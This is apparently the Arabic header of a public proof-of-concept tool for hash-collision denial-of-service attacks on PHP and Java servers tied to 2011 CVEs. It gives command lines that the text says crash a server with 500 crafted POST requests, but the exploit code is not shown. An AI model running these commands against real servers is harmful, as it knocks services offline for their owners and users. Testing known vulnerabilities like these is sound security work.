
إثبات مفهوم لهجوم حرمان الخدمة عبر تصادم التجزئة في PHP وJAVA
هذا السكربت كتبه Christian Mehlmauer [email protected] https://twitter.com/#!/_FireFart_
الشيفرة المصدرية متاحة على: https://github.com/FireFart/HashCollision-DOS-POC
مولّد حمولة PHP الأصلي مأخوذ من https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
http://www.ocert.org/advisories/ocert-2011-003.html CVE: Apache Geronimo: CVE-2011-5034 Oracle Glassfish: CVE-2011-5035 PHP: CVE-2011-4885 Apache Tomcat: CVE-2011-4858
يتطلب Python 2.7
أمثلة: -) إرسال طلب واحد، والانتظار حتى وصول الاستجابة، وحفظ الاستجابة في output0.html python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output -t PHP
-) إسقاط خادم PHP (إرسال 500 طلب دون انتظار استجابة): python HashtablePOC.py -u https://host/index.php -v -c 500 -t PHP
-) إسقاط خادم JAVA (تم اختباره مع Tomcat وGlassfish؛ إرسال 500 طلب دون انتظار استجابة، الحد الأقصى لحجم بيانات POST هو 2MB): python HashtablePOC.py -u https://host/index.jsp -v -c 500 -t JAVA -m 2
سجل التغييرات: v6.0: إضافة مولّد حمولة Java v5.0: تعريف الحد الأقصى لحجم الحمولة كمعامل v4.0: الحصول على أحرف تصادم PHP أثناء التشغيل v3.0: تحميل الحمولة من ملف v2.0: إضافة دعم https، والتحويل إلى HTTP 1.1 v1.0: الإصدار الأولي